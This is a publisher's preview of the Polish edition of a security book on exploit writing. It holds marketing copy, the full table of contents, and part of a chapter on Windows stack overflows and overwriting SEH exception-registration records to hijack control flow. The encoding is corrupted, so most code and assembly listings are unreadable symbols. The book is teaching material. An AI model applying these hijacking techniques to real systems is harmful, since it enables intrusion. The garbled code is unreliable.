The Shellcoders Handbook. Edycja polska
-
Upload
wydawnictwo-helion -
Category
Technology
-
view
746 -
download
2
description
Transcript of The Shellcoders Handbook. Edycja polska
Wydawnictwo Helion
ul. Chopina 6
44-100 Gliwice
tel. (32)230-98-63
e-mail: [email protected]
PRZYK£ADOWY ROZDZIA£PRZYK£ADOWY ROZDZIA£
IDZ DOIDZ DO
ZAMÓW DRUKOWANY KATALOGZAMÓW DRUKOWANY KATALOG
KATALOG KSI¥¯EKKATALOG KSI¥¯EK
TWÓJ KOSZYKTWÓJ KOSZYK
CENNIK I INFORMACJECENNIK I INFORMACJE
ZAMÓW INFORMACJEO NOWO�CIACH
ZAMÓW INFORMACJEO NOWO�CIACH
ZAMÓW CENNIKZAMÓW CENNIK
CZYTELNIACZYTELNIA
FRAGMENTY KSI¥¯EK ONLINEFRAGMENTY KSI¥¯EK ONLINE
SPIS TRE�CISPIS TRE�CI
DODAJ DO KOSZYKADODAJ DO KOSZYKA
KATALOG ONLINEKATALOG ONLINE
The Shellcoders Handbook.Edycja polska
Usuñ luki w zabezpieczeniach programów i systemów operacyjnych
• Poznaj przyczyny powstawania luk
• Naucz siê sposobów w³amañ do systemów
• Podejmij odpowiednie �rodki zapobiegawcze
Niemal co tydzieñ dowiadujemy siê o nowych „³atach” usuwaj¹cych luki
w zabezpieczeniach systemów operacyjnych i programów. Niestety — czêsto, zanim ³ata
zostanie rozpowszechniona i zainstalowana na komputerach, kto� wykorzysta „dziurê”
w systemie i w³amie siê do niego. Có¿ wiêc zrobiæ, aby zabezpieczyæ swoje dane przez
atakiem hakera? Jak znale�æ s³abe punkty zabezpieczeñ i usun¹æ je? W jaki sposób
zaimplementowaæ odpowiednie zabezpieczenia w tworzonym przez siebie
oprogramowaniu?
Ksi¹¿ka „The Shellcoder’s handbook. Edycja polska” zawiera odpowiedzi na wszystkie
te pytania. Ksi¹¿ka bêd¹ca efektem pracy zespo³u z³o¿onego ze specjalistów w zakresie
bezpieczeñstwa systemów komputerowych, analityków i hakerów przedstawia sposoby
wykrywania s³abych punktów oprogramowania tworzonego w jêzyku C i sprawdzenia
mo¿liwo�ci ich wykorzystania. Opisuje luki w istniej¹cych systemach i programach
oraz sposoby ich zabezpieczenia. Zawarte w niej wiadomo�ci pozwol¹ na tworzenie
w³asnych systemów wykrywania b³êdów i pomog¹ ustaliæ, czy b³êdy te stanowi¹
potencjalne zagro¿enie.
• Podstawowe metody w³amañ do ró¿nych systemów operacyjnych
• Techniki przepe³niania stosu, wykorzystywania kodu pow³oki
i b³êdów ³añcuchów formatuj¹cych
• Kontrola s³abych punktów programów metodami wstrzykiwania kodu i fuzzingu
• Kontrola kodu �ród³owego programów
• Klasy b³êdów
• Sposoby �ledzenia s³abych punktów
• Analiza kodu binarnego
• Tworzenie eksploitów
• Ataki na systemy zarz¹dzania bazami danych
Autorzy: J. Koziol, D. Litchfield, D. Aitel,
Ch. Anley, S. Eren, N. Mehta, R. Hassell
T³umaczenie: Jaromir Senczyk
ISBN: 83-7361-597-0
Tytu³ orygina³u: The Shellcoders Handbook
Format: B5, stron: 560
Przyk³ady na ftp: 165 kB
Spis treści
O Autorach ...................................................................................... 13
Część I Wprowadzenie do metod włamań:Linux na procesorach x86 ..............................................15
Rozdział 1. Wprowadzenie ................................................................................. 17Podstawowe pojęcia ........................................................................................................ 17
Zarządzanie pamięcią................................................................................................ 18Asembler ................................................................................................................... 20
Rozpoznawanie przekładu kodu C++ w języku asemblera.............................................. 21Podsumowanie ................................................................................................................ 23
Rozdział 2. Przepełnienia stosu.......................................................................... 25Bufory ............................................................................................................................. 25Stos.................................................................................................................................. 27
Wywołania funkcji i stos........................................................................................... 28Przepełnianie buforów na stosie ...................................................................................... 31
Wykorzystanie rejestru EIP....................................................................................... 32Zdobywanie uprawnień root............................................................................................ 34
Problem adresu.......................................................................................................... 36Metoda rozkazów NOP ............................................................................................. 39
Stos zabraniający wykonywania rozkazów ..................................................................... 41Metoda powrotu do biblioteki libc ............................................................................ 41
Podsumowanie ................................................................................................................ 44
Rozdział 3. Kod powłoki..................................................................................... 45Wywołania systemowe.................................................................................................... 46Kod powłoki używający wywołania systemowego exit()................................................ 48Wstrzykiwanie kodu powłoki.......................................................................................... 51Tworzenie nowej powłoki ............................................................................................... 53Podsumowanie ................................................................................................................ 61
Rozdział 4. Błędy łańcuchów formatujących ....................................................... 63Warunki wstępne............................................................................................................. 63Łańcuchy formatujące ..................................................................................................... 63Błędy łańcuchów formatujących ..................................................................................... 65
6 The Shellcoder's Handbook. Edycja polska
Włamania za pomocą łańcuchów formatujących............................................................. 69Atak na usługę........................................................................................................... 70Ujawnianie informacji............................................................................................... 71
Przejęcie sterowania ........................................................................................................ 76Jak to możliwe?............................................................................................................... 85Przegląd technik łańcucha formatującego ....................................................................... 85Podsumowanie ................................................................................................................ 88
Rozdział 5. Wprowadzenie do metod przepełnienia sterty.................................... 89Sterta ............................................................................................................................... 89
Zarządzanie stertą...................................................................................................... 91Wyszukiwanie przepełnień sterty .................................................................................... 91
Podstawowe metody przepełniania sterty.................................................................. 92Średnio zaawansowane metody przepełniania stosu ................................................. 98Zaawansowane przepełnienia sterty ........................................................................ 104
Podsumowanie .............................................................................................................. 105
Część II Włamania na platformach Windows, Solaris i Tru64.......107
Rozdział 6. Wprowadzenie do systemu Windows............................................... 109Różnice między systemami Linux i Windows............................................................... 109
Win32 i PE-COFF................................................................................................... 110Sterty ............................................................................................................................. 112
Wątki....................................................................................................................... 113Zalety i wady DCOM i DCE-RPC ................................................................................ 114
Rozpoznanie............................................................................................................ 116Włamania ................................................................................................................ 117Tokeny i podszywanie............................................................................................. 118Obsługa wyjątków w Win32 ................................................................................... 120
Śledzenie działania programów w systemie Windows .................................................. 121Błędy w Win32 ....................................................................................................... 122Tworzenie kodu powłoki w systemie Windows...................................................... 122Przewodnik hakera po funkcjach Win32................................................................. 123Rodzina systemów Windows z punktu widzenia hakera......................................... 123
Podsumowanie .............................................................................................................. 124
Rozdział 7. Kody powłoki w Windows ............................................................... 125Składnia i filtry.............................................................................................................. 125Przygotowywanie kodu powłoki ................................................................................... 126Parsowanie bloków PEB ............................................................................................... 127
Analiza kodu heapoverflow.c.................................................................................. 128Przeszukiwanie z użyciem obsługi wyjątków................................................................ 143Tworzenie nowej powłoki ............................................................................................. 146
Dlaczego nie warto tworzyć nowej powłoki w Windows ....................................... 147Podsumowanie .............................................................................................................. 148
Rozdział 8. Przepełnienia w systemie Windows................................................. 149Przepełnienia buforów na stosie .................................................................................... 149
Procedury obsługi wyjątków dla ramek wywołań funkcji....................................... 150Wykorzystanie procedur obsługi wyjątków na platformie Windows 2003 Server.. 154Końcowe uwagi na temat nadpisań procedur obsługi wyjątków............................. 158
Ochrona stosu i Windows 2003 Server ......................................................................... 159Przepełnienia sterty ....................................................................................................... 164
Sterta procesu.......................................................................................................... 164Sterty dynamiczne................................................................................................... 165
Spis treści 7
Korzystanie ze sterty ............................................................................................... 165Jak działa sterta ....................................................................................................... 165
Wykorzystanie przepełnień sterty.................................................................................. 168Nadpisanie wskaźnika funkcji RtlEnterCriticalSection w bloku PEB..................... 169Nadpisanie wskaźnika pierwszej wektoryzowanej procedury obsługi wyjątków
pod adresem 77FC3210 ........................................................................................ 171Nadpisanie wskaźnika filtra nieobsłużonych wyjątków.......................................... 174Nadpisanie wskaźnika procedury obsługi wyjątków w bloku TEB ........................ 179Naprawa sterty ........................................................................................................ 180Inne aspekty przepełnień sterty ............................................................................... 182Podsumowanie przepełnień sterty ........................................................................... 183
Inne przepełnienia ......................................................................................................... 183Przepełnienia sekcji .data ........................................................................................ 183Przepełnienia bloków TEB i PEB ........................................................................... 185
Przepełnienie buforów i stosy zabraniające wykonania kodu........................................ 185Podsumowanie .............................................................................................................. 190
Rozdział 9. Filtry ............................................................................................. 191Tworzenie eksploitów i filtry alfanumeryczne .............................................................. 191Tworzenie eksploitów i filtry Unicode .......................................................................... 195
Unicode................................................................................................................... 195Konwersja z ASCII na Unicode .............................................................................. 196
Wykorzystanie słabych punktów związanych z kodem Unicode .................................. 196Zbiór rozkazów dostępnych dla eksploitów Unicode.............................................. 197
Metoda wenecka............................................................................................................ 198Implementacja metody weneckiej dla kodu ASCII ................................................. 199
Dekoder i dekodowanie................................................................................................. 202Kod dekodera .......................................................................................................... 203Ustalenie adresu bufora........................................................................................... 204
Podsumowanie .............................................................................................................. 205
Rozdział 10.Wprowadzenie do włamań w systemie Solaris ................................. 207Wprowadzenie do architektury SPARC ........................................................................ 208
Rejestry i okna rejestrów......................................................................................... 208Szczelina zwłoki ..................................................................................................... 210Rozkazy złożone ..................................................................................................... 211
Kody powłoki na platformie Solaris/SPARC ................................................................ 211Kod powłoki i określanie własnego położenia ........................................................ 212Prosty kod powłoki dla platformy SPARC.............................................................. 212Przydatne wywołania systemu Solaris .................................................................... 213Rozkaz NOP i rozkazy wypełniające ...................................................................... 214
Ramki na stosie platformy Solaris/SPARC ................................................................... 214Techniki przepełnień stosu ............................................................................................ 215
Przepełnienia o dowolnym rozmiarze ..................................................................... 215Okna rejestrów komplikują przepełnienia stosu...................................................... 216Inne czynniki utrudniające przepełnienia stosu....................................................... 216Możliwe rozwiązania .............................................................................................. 217Przepełnienia jednym bajtem .................................................................................. 217Położenie kodu powłoki .......................................................................................... 218
Przykłady przepełnień stosu .......................................................................................... 219Atakowany program................................................................................................ 219Eksploit ................................................................................................................... 221
Przepełnienia sterty na platformie Solaris/SPARC........................................................ 224Wprowadzenie do sterty systemu Solaris................................................................ 224Struktura drzewa sterty............................................................................................ 225
8 The Shellcoder's Handbook. Edycja polska
Metoda podstawowa (t_delete)...................................................................................... 243Ograniczenia standardowych przepełnień sterty ..................................................... 246Cele nadpisań .......................................................................................................... 247
Inne słabe punkty sterty................................................................................................. 249Przepełnienia jednym bajtem .................................................................................. 250Podwójne zwolnienie .............................................................................................. 250Inne błędy funkcji free().......................................................................................... 250
Przykład przepełnienia sterty......................................................................................... 251Atakowany program................................................................................................ 251
Inne techniki włamań w systemie Solaris...................................................................... 255Przepełnienia danych statycznych........................................................................... 255Obejście zabezpieczenia stosu................................................................................. 255
Podsumowanie .............................................................................................................. 256
Rozdział 11. Zaawansowane metody włamań w systemie Solaris........................ 257Śledzenie modułu dynamicznej konsolidacji krok po kroku ......................................... 258Sztuczki przepełnień sterty Solaris/SPARC .................................................................. 271Zaawansowany kod powłoki na platformie Solaris/SPARC ......................................... 273Podsumowanie .............................................................................................................. 284
Rozdział 12.Włamania w systemie HP Tru64 Unix ............................................. 285Architektura procesorów Alpha..................................................................................... 286
Rejestry procesorów Alpha ..................................................................................... 286Zbiór rozkazów ....................................................................................................... 287Konwencje wywołań............................................................................................... 287
Pobieranie licznika rozkazów (GetPC).......................................................................... 289Wywołania systemowe.................................................................................................. 291Dekoder XOR dla kodu powłoki ................................................................................... 291Kod powłoki setuid + execve ........................................................................................ 293
Wywołania systemowe setuid(0) i execve("/bin/sh", ...) ......................................... 293Kompilacja kodu w asemblerze i wyodrębnienie kodu powłoki ............................. 294Kodowanie uzyskanych kodów powłoki funkcją XOR........................................... 295Dołączenie zakodowanego kodu do dekodera XOR ............................................... 296Kompilacja i wyodrębnienie ostatecznej postaci kodu powłoki.............................. 297
Kod powłoki zestawiający połączenie zwrotne ............................................................. 299Kod powłoki wyszukujący gniazdo sieciowe ................................................................ 300Kod powłoki dowiązujący gniazdo sieciowe................................................................. 301Przepełnienia stosu........................................................................................................ 303
Obejście ochrony stosu ........................................................................................... 303Włamanie do usługi rpc.ttdbserver ................................................................................ 304Podsumowanie .............................................................................................................. 311
Część III Wykrywanie słabych punktów .......................................313
Rozdział 13. Tworzenie środowiska pracy........................................................... 315Źródła informacji........................................................................................................... 316Narzędzia do tworzenia kodu ........................................................................................ 316
gcc........................................................................................................................... 316gdb .......................................................................................................................... 317NASM..................................................................................................................... 317WinDbg................................................................................................................... 317OllyDbg................................................................................................................... 317SoftICE ................................................................................................................... 318Visual C++.............................................................................................................. 318Python ..................................................................................................................... 318
Spis treści 9
Narzędzia śledzenia kodu.............................................................................................. 318Własne skrypty........................................................................................................ 318Wszystkie platformy ............................................................................................... 320Unix ........................................................................................................................ 320Windows ................................................................................................................. 321
Artykuły, które powinieneś przeczytać ......................................................................... 322Archiwa artykułów.................................................................................................. 324
Optymalizacja procesu tworzenia kodu powłoki ........................................................... 325Plan eksploitu.......................................................................................................... 325Tworzenie kodu powłoki za pomocą asemblera wbudowanego w kompilator........ 325Biblioteka kodów powłoki ...................................................................................... 327Kontynuacja działania atakowanego procesu.......................................................... 327Zwiększanie stabilności eksploitu ........................................................................... 328Wykorzystanie istniejącego połączenia................................................................... 329
Podsumowanie .............................................................................................................. 330
Rozdział 14.Wstrzykiwanie błędów.................................................................... 331Ogólny projekt systemu................................................................................................. 332
Generowanie danych wejściowych ......................................................................... 332Wstrzykiwanie błędów............................................................................................ 335Moduł modyfikacji.................................................................................................. 335Dostarczanie błędów do aplikacji............................................................................ 339Algorytm Nagla....................................................................................................... 340Zależności czasowe................................................................................................. 340Heurystyki............................................................................................................... 340Protokoły ze stanem i bez........................................................................................ 341
Monitorowanie błędów.................................................................................................. 341Wykorzystanie programu uruchomieniowego......................................................... 341FaultMon................................................................................................................. 342
Kompletna aplikacja testująca ....................................................................................... 342Podsumowanie .............................................................................................................. 343
Rozdział 15. Fuzzing.......................................................................................... 345Ogólna teoria fuzzingu .................................................................................................. 345
Analiza statyczna kontra fuzzing............................................................................. 349Fuzzing jest skalowalny .......................................................................................... 349
Wady fuzzerów ............................................................................................................. 351Modelowanie dowolnych protokołów sieciowych ........................................................ 352Inne technologie fuzzerów ............................................................................................ 352
Migotanie bitów ...................................................................................................... 353Modyfikacja programów open source ..................................................................... 353Fuzzing i analiza dynamiczna ................................................................................. 353
SPIKE............................................................................................................................ 354Jak działa SPIKE?................................................................................................... 354Zalety stosowania struktur programu SPIKE
do modelowania protokołów sieciowych.............................................................. 355Inne fuzzery................................................................................................................... 362Podsumowanie .............................................................................................................. 362
Rozdział 16. Kontrola kodu źródłowego .............................................................. 363Narzędzia....................................................................................................................... 364
Cscope..................................................................................................................... 364Ctags ....................................................................................................................... 365Edytory.................................................................................................................... 365Cbrowser ................................................................................................................. 365
10 The Shellcoder's Handbook. Edycja polska
Zautomatyzowane narzędzia kontroli kodu źródłowego ............................................... 366Metodologia .................................................................................................................. 367
Metoda zstępująca................................................................................................... 367Metoda wstępująca.................................................................................................. 367Metoda selektywna.................................................................................................. 367
Klasy błędów................................................................................................................. 368Ogólne błędy logiki................................................................................................. 368(Prawie) wymarłe klasy błędów .............................................................................. 368Błędy łańcuchów formatujących ............................................................................. 369Ogólne błędy określenia zakresu............................................................................. 370Pętle ........................................................................................................................ 371Przepełnienia jednym bajtem .................................................................................. 372Błędy braku zakończenia łańcucha ......................................................................... 373Błędy przeskoczenia bajtu zerowego ...................................................................... 374Błędy porównania wartości ze znakiem .................................................................. 375Błędy związane z wartościami całkowitymi............................................................ 376Konwersje wartości całkowitych o różnej reprezentacji ......................................... 378Błędy podwójnego zwolnienia ................................................................................ 379Użycie obszarów pamięci poza okresem ich ważności ........................................... 380Użycie niezainicjowanych zmiennych .................................................................... 380Błędy użycia po zwolnieniu .................................................................................... 381Wielowątkowość i kod wielobieżny........................................................................ 382
Słabe punkty i zwykłe błędy.......................................................................................... 382Podsumowanie .............................................................................................................. 383
Rozdział 17. Ręczne wykrywanie błędów............................................................ 385Filozofia ........................................................................................................................ 385Przepełnienie extproc systemu Oracle........................................................................... 386Typowe błędy architektury............................................................................................ 390
Problemy pojawiają się na granicach ...................................................................... 390Problemy pojawiają się podczas przekładu danych................................................. 391Problemy występują w obszarach asymetrii............................................................ 393Problemy uwierzytelniania i autoryzacji ................................................................. 393Problemy występują w najbardziej oczywistych miejscach .................................... 394
Obejście kontroli danych wejściowych i wykrywanie ataku ......................................... 394Filtrowanie niedozwolonych danych....................................................................... 395Zastosowanie alternatywnego kodowania ............................................................... 395Dostęp do plików .................................................................................................... 396Unikanie sygnatur ataków....................................................................................... 398Pokonywanie ograniczeń długości .......................................................................... 398
Atak typu DOS na implementację SNMP w Windows 2000 ........................................ 400Wykrywanie ataków typu DOS..................................................................................... 401SQL-UDP...................................................................................................................... 402Podsumowanie .............................................................................................................. 403
Rozdział 18. Śledzenie słabych punktów ............................................................ 405Wprowadzenie............................................................................................................... 406
Przykładowy program zawierający słaby punkt ...................................................... 406Projekt komponentów ............................................................................................. 409Budujemy VulnTrace .............................................................................................. 416Posługiwanie się biblioteką VulnTrace ................................................................... 421Techniki zaawansowane.......................................................................................... 424
Podsumowanie .............................................................................................................. 425
Spis treści 11
Rozdział 19. Audyt kodu binarnego .................................................................... 427Audyt kodu binarnego i kontrola kodu źródłowego — podobieństwa i różnice............ 427IDA Pro ......................................................................................................................... 428
Krótki kurs obsługi.................................................................................................. 429Symbole uruchomieniowe....................................................................................... 430
Wprowadzenie do audytu kodu binarnego .................................................................... 430Ramki stosu............................................................................................................. 430Konwencje wywołań............................................................................................... 432Kod generowany przez kompilator ......................................................................... 433Konstrukcje typu memcpy ...................................................................................... 436Konstrukcje typu strlen ........................................................................................... 437Konstrukcje języka C++.......................................................................................... 438Wskaźnik this.......................................................................................................... 438
Odtwarzanie definicji klas............................................................................................. 438Tablice funkcji wirtualnych .................................................................................... 439Proste, ale przydatne wskazówki............................................................................. 440
Ręczna analiza kodu binarnego ..................................................................................... 440Szybka weryfikacja wywołań bibliotecznych ......................................................... 440Podejrzane pętle i rozkazy zapisu ........................................................................... 440Błędy logiki............................................................................................................. 441Graficzna analiza kodu binarnego........................................................................... 442Ręczna dekompilacja .............................................................................................. 442
Przykłady analizy kodu binarnego ................................................................................ 443Błędy serwera Microsoft SQL................................................................................. 443Błąd RPC-DCOM wykryty przez grupę LSD ......................................................... 444Błąd IIS WebDAV.................................................................................................. 444
Podsumowanie .............................................................................................................. 446
Część IV Techniki zaawansowane ...............................................447
Rozdział 20. Alternatywne strategie eksploitów ................................................. 449Modyfikacja programu .................................................................................................. 450Modyfikacja 3 bajtów kodu systemu SQL Server ......................................................... 450MySQL i modyfikacja 1 bitu......................................................................................... 454Modyfikacja uwierzytelniania RSA w OpenSSH.......................................................... 456Inne koncepcje modyfikacji działającego kodu............................................................. 457
Modyfikacja generatora losowego w GPG 1.2.2..................................................... 458Serwer progletów .......................................................................................................... 459Proxy wywołań systemowych ....................................................................................... 459Problemy związane z proxy wywołań systemowych..................................................... 461Podsumowanie .............................................................................................................. 470
Rozdział 21. Eksploity działające w rzeczywistym środowisku ............................. 471Czynniki wpływające na niezawodność ........................................................................ 471
Magiczne adresy...................................................................................................... 471Problem wersji ........................................................................................................ 472Problemy kodu powłoki .......................................................................................... 473
Środki zaradcze ............................................................................................................. 475Przygotowanie......................................................................................................... 476Metoda pełnego przeglądu ...................................................................................... 476Lokalny eksploit...................................................................................................... 477Sygnatury systemów i aplikacji............................................................................... 477Wycieki informacji.................................................................................................. 479
Podsumowanie .............................................................................................................. 479
12 The Shellcoder's Handbook. Edycja polska
Rozdział 22. Ataki na systemy baz danych ......................................................... 481Ataki w warstwie sieciowej........................................................................................... 482Ataki w warstwie aplikacji ............................................................................................ 491Wykonywanie poleceń systemu operacyjnego .............................................................. 491
Microsoft SQL Server ............................................................................................. 492Oracle...................................................................................................................... 492IBM DB2 ................................................................................................................ 493
Wykorzystanie przepełnień na poziomie języka SQL ................................................... 495Funkcje języka SQL................................................................................................ 496
Podsumowanie .............................................................................................................. 497
Rozdział 23. Przepełnienia jądra......................................................................... 499Typy słabych punktów jądra ......................................................................................... 499Słabe punkty jądra ......................................................................................................... 507
Przepełnienie stosu przez wywołanie exec_ibcs2_coff_prep_zmagic()w systemie OpenBSD........................................................................................... 507
Słaby punkt ............................................................................................................. 508Funkcja vfs_getvfssw() i możliwość przeglądania modułów jądra w systemie Solaris .. 512
Wywołanie systemowe sysfs() ................................................................................ 514Wywołanie systemowe mount().............................................................................. 514
Podsumowanie .............................................................................................................. 515
Rozdział 24.Wykorzystanie słabych punktów jądra ............................................ 517Słaby punkt funkcji exec_ibcs2_coff_prep_zmagic().................................................... 517
Wyznaczenie przesunięć i adresów pułapek ........................................................... 522Nadpisanie adresu powrotu i przejęcie sterowania.................................................. 523Wyszukiwanie deskryptora procesu (lub struktury proc) ........................................ 524Kod eksploitu wykonywany w trybie jądra............................................................. 526Powrót kodu wykonywanego na poziomie jądra..................................................... 528Uzyskanie uprawnień root (uid=0).......................................................................... 533
Eksploit słabego punktu funkcji vfs_getvfssw() systemu Solaris .................................. 538Eksploit ................................................................................................................... 539Moduł jądra............................................................................................................. 540Uzyskanie uprawnień root (uid=0).......................................................................... 543
Podsumowanie .............................................................................................................. 544
Dodatki .......................................................................................545
Skorowidz ..................................................................................... 547
Rozdział 8.
Przepełnienia
w systemie Windows
Zakładamy, że Czytelnik przystępujący do lektury tego rozdziału posiada przynajmniejpodstawową znajomość systemu Windows NT lub jego późniejszych wersji, a takżezna sposoby wykorzystywania przepełnień buforów na tej platformie. W rozdziale omó-wimy bardziej zaawansowane aspekty przepełnień w systemie Windows, na przykładzwiązane z obchodzeniem zabezpieczeń stosu zastosowanych w systemie Windows2003 Server czy przepełnieniami sterty. Zrozumienie tych zagadnień wymagać będzieznajomości kluczowych rozwiązań zastosowanych na platformie Windows, takich jakbloki TEB (Thread Environment Block) i PEB (Process Environment Block), a takżestruktury pamięci procesów, plików wykonywalnych oraz nagłówków PE. Jeśli któreśz tych pojęć są obce Czytelnikowi, to przed przystąpieniem do lektury tego rozdziałupowinien uzupełnić wiadomości w tym zakresie.
W rozdziale będziemy korzystać z narzędzi wchodzących w skład pakietu Visual Studio 6
firmy Microsoft, w szczególności z programu uruchomieniowego MSDEV, kompilatorajęzyka C wywoływanego z wiersza poleceń (cl) oraz programu dumpbin. Programdumpbin jest doskonałym narzędziem uruchamianym z wiersza poleceń — wyświetlawszelkie informacje o plikach binarnych, tabelach importu i eksportu, sekcjach pli-ków oraz kodzie w asemblerze. Czytelnikom, którzy wolą posługiwać się narzędziemwyposażonym w graficzny interfejs użytkownika, proponujemy doskonały deasemblerfirmy Datarescue o nazwie IDA Pro. Tworząc kod eksploitów na platformie Windows,możemy korzystać ze składni asemblera zgodnej z przyjętą przez firmę Intel bądź za-proponowanej przez AT&T. Wybór zależy od indywidualnych upodobań i preferencji.
Przepełnienia buforów na stosie
Metoda przepełniania buforów znana jest już od wielu lat i z pewnością będzie wykorzy-stywana również w przyszłości. I nadal za każdym razem, gdy jest wykrywana w nowo-czesnym oprogramowaniu, nie wiadomo, czy śmiać się, czy płakać. Tak czy owak, błędy
150 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
te stanowią doskonałą pożywkę dla początkujących hakerów. W sieci Internet dostęp-nych jest wiele dokumentów szczegółowo opisujących sposoby wykorzystywania prze-pełnień buforów. Omówiliśmy je również w pierwszych rozdziałach tej książki, dlate-go teraz nie będziemy już powtarzać tych informacji.
Typowy eksploit bazujący na przepełnieniu stosu doprowadza do nadpisania adresu po-wrotu zapisanego na stosie adresem, który wskazuje rozkaz lub blok kodu przekazujący
sterowanie do kodu umieszczonego w buforze użytkownika. Zanim zajmiemy się po-
głębieniem tego zagadnienia, krótko omówimy procedury obsługi wyjątków bazującychna ramkach stosu. Następnie przyjrzymy się sposobom nadpisywania struktur rejestracji
wyjątków na stosie i pokażemy, w jaki sposób technika taka może prowadzić do obej-
ścia zabezpieczeń stosu wbudowanych w system Windows 2003 Server.
Procedury obsługi wyjątkówdla ramek wywołań funkcji
Procedura obsługi wyjątków jest fragmentem kodu, który zostaje wywołany naskutek pojawienia się problemu podczas wykonania procesu, na przykład naruszenia
uprawnień dostępu bądź wykonania dzielenia przez zero. Procedury obsługi wyjątków
mogą być powiązane z konkretnymi funkcjami. Wywołanie każdej funkcji prowadzi
do utworzenia na stosie odpowiadającej jej ramki wywołania. Informacja o procedurze
obsługi wyjątków może zostać umieszczona w ramce wywołania w strukturze �������������� ����. Struktura taka składa się z dwóch elementów: wskaźnika następnej
struktury �������������� ���� oraz wskaźnika właściwej procedury obsługi wy-
jątków. W ten sposób procedury obsługi wyjątków mogą tworzyć listę przedstawioną
na rysunku 8.1.
Rysunek 8.1.Procedury obsługi
wyjątków dla ramek
wywołań funkcji
Rozdział 8. ♦ Przepełnienia w systemie Windows 151
Każdy wątek procesu Win32 posiada przynajmniej jedną procedurę obsługi wyjątków.Procedura ta tworzona jest podczas uruchamiania wątku. Adres pierwszej struktury�������������� ���� znajduje się w każdym bloku TEB pod adresem ������. W mo-mencie wystąpienia wyjątków lista procedur obsługi przeglądana jest do momentu zna-lezienia właściwej procedury obsługi wyjątku (czyli takiej, która zajmie się obsługąwyjątku). Obsługa wyjątków w oparciu o ramki na stosie odbywa się na poziomie ję-zyka C za pomocą słów kluczowych ��� i ������. Przypominamy, że większość kodówprzedstawionych w tej książce dostępna jest pod adresem ftp://ftp.helion.pl/przyklady/hell.zip
������������ ��������������� �����
�� ����������� ���������� ������������ �������� ��������������!����"� �����#�!������$!%
���&����������''��&�((� � ��)���)*��+� ����,����������%
%''���������������� �������������������� �������!%������$!%
Jeśli w bloku umieszczonym wewnątrz ��� wystąpi wyjątek, to wywołana zostaniefunkcja ������������ �!"��. W przykładzie tym celowo wywołujemy wyjątek, zeru-jąc zawartość rejestru � �, a następnie wykonując rozkaz � ""#� �.
Podczas przepełniania bufora na stosie i nadpisywania adresu powrotu mogą równieżulec nadpisaniu inne zmienne, co może być przyczyną komplikacji podczas włama-nia. Załóżmy na przykład, że funkcja odwołuje się do pewnej struktury za pomocąrejestru � �, który wskazuje początek tej struktury. Niech zmienna lokalna tej funkcjireprezentuje przesunięcie wewnątrz wspomnianej struktury. Jeśli zmienna ta zostanienadpisana przy okazji nadpisywania adresu powrotu, a następnie załadowana do reje-stru ��� i wykonany będzie na przykład rozkaz
& ��� �����-���.���/,���
to musimy zapewnić, że wartość, którą nadpisaliśmy tą zmienną, w połączeniu z za-wartością rejestru � � reprezentuje adres, pod którym dozwolony jest zapis danych.
152 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
W przeciwnym bowiem razie nastąpi naruszenie ochrony pamięci, wywołane zostanąodpowiednie procedury obsługi wyjątków, a działanie procesu zostanie najprawdopo-dobniej zakończone i stracimy szansę wykonania naszego kodu. Nawet jeśli skory-gujemy odpowiednio adres reprezentowany przez � �#$#���, to musimy liczyć się z wy-stąpieniem wielu innych podobnych problemów, którym należy zaradzić, zanimfunkcja zwróci sterowanie. W niektórych przypadkach może to nawet być niemożliwe.Najprostsza metoda rozwiązania tego problemu polega na nadpisaniu struktury�������������� ���� w taki sposób, aby zapewnić sobie kontrolę nad wskaźni-kiem procedury obsługi wyjątku. Dzięki temu w momencie wystąpienia wyjątku mo-żemy przejąć kontrolę nad procesem — na przykład przez zastąpienie wskaźnika proce-dury obsługi wyjątków adresem kodu, który przekaże sterowanie z powrotem donaszego bufora.
Zastanówmy się teraz, w jaki sposób nadpisać wskaźnik procedury obsługi wyjątku,abyśmy mogli wykonać dowolny kod umieszczony w buforze. Rozwiązanie zależy od
konkretnej wersji systemu i zainstalowanych pakietów serwisowych. W systemachWindows 2000 i Windows XP bez zainstalowanych pakietów serwisowych rejestr �%�
wskazuje bieżącą strukturę �������������� ����, czyli właśnie tą, którą nadpi-
sujemy. Możemy wtedy nadpisać wskaźnik procedury obsługi wyjątków za pomocą
adresu, pod którym znajduje się rozkaz &'�#�(� lub � ""#�(�. W ten sposób na skutek
wystąpienia wyjątków powrócimy zawsze do nadpisanej struktury ������������)
�� ����. Wtedy nadpiszemy wskaźnik następnej struktury �������������� ����adresem kodu, który wykona krótki skok ponad adresem rozkazu &'�# �(�. Sposób
nadpisania struktury �������������� ���� ilustruje rysunek 8.2.
Rysunek 8.2.Nadpisywanie
struktury
EXCEPTION_
REGISTRATION
W systemach Windows 2003 Server oraz Windows XP Service Pack 1 sytuacja wy-gląda jednak inaczej. Rejestr �%� nie wskazuje już struktury �������������� ����.
Wszystkie rejestry, które dotąd wskazywały przydatne informacje, teraz zostają wyze-
rowane przed wywołaniem procedury obsługi wyjątków. Zmiany tej firma Microsoft
dokonała prawdopodobnie w odpowiedzi na sposób działania robaka Code Worm, któryużywał tego mechanizmu do przejęcia kontroli nad serwerami IIS. Poniżej przedsta-
wiamy kod odpowiedzialny za wspomnianą modyfikację (dla systemu Windows XP
Professional SP1).
Rozdział 8. ♦ Przepełnienia w systemie Windows 153
00102340� ����,���00102342� ��5�,�5�00102343� ����,���00102346� ����,���00102341������ �����-���.7$�/00102389������ �����-���.7$�/00102380������ �����-���.7$�/00102383������ �����-���.7$�/00102381������ �����-���.7$�/00102309����0010230�0010230:� ����00102302� ����0010230;� ��5�00102303���#<�0010230������5�00102301& ��5�,���001023:#������ �����-�5�.$=�/001023:<�������001023:4������ �������>-$/001023:=& ��� �������>-$/,���00102329������ �����-�5�.#<�/00102328������ �����-�5�.#$�/00102322������ �����-�5�.$=�/0010232=������ �����-�5�.:/00102321& ����,�� �����-�5�.#:�/001023;7�������
Począwszy od adresu ��**+*,%-*, rejestry � �, �%�, ��� i �.� są kolejno zerowane zapomocą rozkazu ��. Następnie pod adresem ��**+*,%*/ wykonywany jest rozkaz � "",który powoduje przejście do adresu ��**+*,%*�. Rozkaz znajdujący się pod adresem��**+*,%,+ umieszcza w rejestrze ��� wskaźnik procedury obsługi wyjątku, którąwywołuje następny rozkaz.
Nawet mimo tej modyfikacji haker może przejąć kontrolę nad działaniem systemu. Jed-nak nie dysponując wartościami rejestrów, które wskazywałyby ważne dane procesuużytkownika, musi odnaleźć je na własną rękę. A to zmniejsza szansę powodzenia ataku.
